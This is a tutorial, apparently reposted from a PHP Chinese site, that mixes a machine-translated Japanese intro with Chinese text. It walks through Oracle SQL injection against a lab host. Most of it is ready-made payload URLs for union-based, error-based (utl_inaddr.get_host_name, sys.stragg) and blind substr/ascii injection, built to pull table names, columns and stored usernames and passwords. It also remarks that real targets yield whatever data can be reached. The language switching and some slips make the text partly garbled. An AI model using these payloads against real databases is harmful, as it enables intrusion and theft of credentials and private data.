この記事では、インジェクションの基本手順やエラー報告など、Oracle インジェクションに関する関連知識を提供します。皆様のお役に立てれば幸いです。
#1. データを取得するための Oracle の基本スキル1. 特別なテーブル #• デュアル テーブル #◆は、select の構文規則を形成するために使用される仮想テーブルです。Oracle では、dual には常に 1 つのレコードのみが存在することが保証されています。 • user_tables table◆ このテーブルの table_name 列には、現在のデータベース内のすべてのテーブルが格納されます。 • user_tab_columns table◆このテーブルの column_name には、テーブルのすべての列が格納されます。 2. Oracle クエリはテーブル名を取得する必要があります• たとえば、select * from xxx (ユニバーサル テーブル: デュアル テーブルがあります)。 3. 単一行のサブクエリが複数の行を返す場合は、where rownum=1 を使用して標準化する必要があります。• rownum は疑似シーケンス番号で、常に 1 から始まります。 • Oracle データベースがデータ ファイルまたはバッファからデータを読み取る順序。 • 最初のレコードを取得すると、rownum 値は 1、2 番目のレコードは 2、というようになります。 4. 後続の注入に必要ないくつかの基本的な組み込み関数http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
になります。
跟之前的学习的MySQL以及SQL server一样,Oracle同样通过union 来实现联合查询注入,并且不用跟SQL server联合查询注入一样添加all,仅只用union就行,但是依旧要跟SQL server联合查询注入一样判断后续各列的数据类型。
接下里我们首先查看回显位
http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用。
我们看到三个列全部会回显在页面上
下面我们还要通过更改null判断各个回显位的数据类型
http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
判断出1号位的数据类型位字符型,接下来我们就可以通过构造不同的payload替换'1',来查询到我们想要的数据
select user from dual 获取用户名
http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
select banner from sys.v_$version where rownum=1 获取版本
http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
借助联合查询和默认表 user_tables获取当前数据库所有表名(第一行的)。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
查看下一行表名
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
没有其他的表,只有T_USER
如果可以显示多行数据,则可以通过以下代码查看到T-USER所有的列名,不能就只能通过跟上面类似的方法 用“<>”添加附加条件,去除已经查看到的数据然后查看下一行数据
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
获取T_USER表中字段为SNAME、SUSER、SPWD,然后获得他们的值
因为之前判断过1,2,3号位都回显,且都为字符型,所以下面一次性查询,如果只有一个也可以一个一个的查询
10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
获取数据
因为靶场比较简陋,所以实验过程只是体现自己的注入思路,并不代表T_USER表中的东西就是后台账号之内的敏感数据,真实环境中,你查询的数据可以是任何你能查询到数据。
当你发现你找到的注入点在输入错误数据会反弹数据库原始报错信息时,我们就可以使用报错注入。然后前面的步骤基本一致,都是先找注入点,然后分析闭合方式。
Oracle报错注入——类型转换错误和报错函数。
payload:1=utl_inaddr.get_host_name((SQL语句))
查询结果: ORA-29257: 未知的主机 结果
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
T_USER即我们想要查询的表名,如果不止一个也可以通过上面联合查询注入中提到的方法,在sql语句中添加附加'<>'条件遍历表名。
跟联合查询用到的相同的语句查到接下来的列名,数据
下面我们可以用到一个函数来改变之前遍历每个数据的麻烦:sys.stragg()在单行中获取所有行信息。
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--
||是Oracle中的字符拼接符号,在以上payload使用的时候需要将其更改为%7C%7C,即它的url编码。
我们通过拼接其他符号以及sys,stragg()函数使我们能够清晰的分辨数据表中这个字段每一行的数据,在之前的联合查询注入同样可以使用到这个函数,省去遍历的麻烦
使用条件:HTTP返回包中没有执行结果的数据和报错信息。
当你发出你构造的payload时,页面并没有产生变化,即说明你的payload正确。
跟上面两种注入一样寻找注入点。
Oracle盲注核心——字符串截取函数、ascii转换函数、条件判断语句。
要注意的是在截断函数中长度是包含开始截取位置那一位的。
步骤跟之前的顺序是一致的 拿表名-列名-数据,这里就不一一列举了,主要说重点。
我们在拿一个数据时,比如说表名,我们需要先判断他的长度
10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
我们可以先将=改为>或者<然后通过二分法逐步的缩小范围,最终确定表名一共有6位。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
然后就用截取函数 先截取表名的第一个字符,然后转译为ascii码,同样可以通过>或者<逐渐缩小范围最终确定表名第一个字符ascii码为84 即为T,以此类推获得完整表名
如果会使用burpsuit的话,可以通过burpsuit暴力破解,设置截取位置以及等于号后面的数字来跑出表名。
所有数据均可使用同样的方法获取
推荐教程:《Oracle教程》
以上がOracle インジェクションの細部を完全にマスターするためのステップバイステップの指導の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。